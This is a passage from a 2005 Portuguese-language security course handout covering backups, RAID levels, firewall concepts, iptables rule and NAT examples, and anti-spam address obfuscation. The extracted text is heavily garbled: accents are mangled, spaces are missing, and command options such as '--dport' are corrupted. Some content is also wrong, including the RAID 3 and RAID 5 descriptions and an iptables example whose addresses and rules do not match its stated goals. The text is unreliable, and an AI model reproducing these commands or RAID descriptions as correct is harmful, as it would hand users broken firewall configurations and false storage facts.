processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam 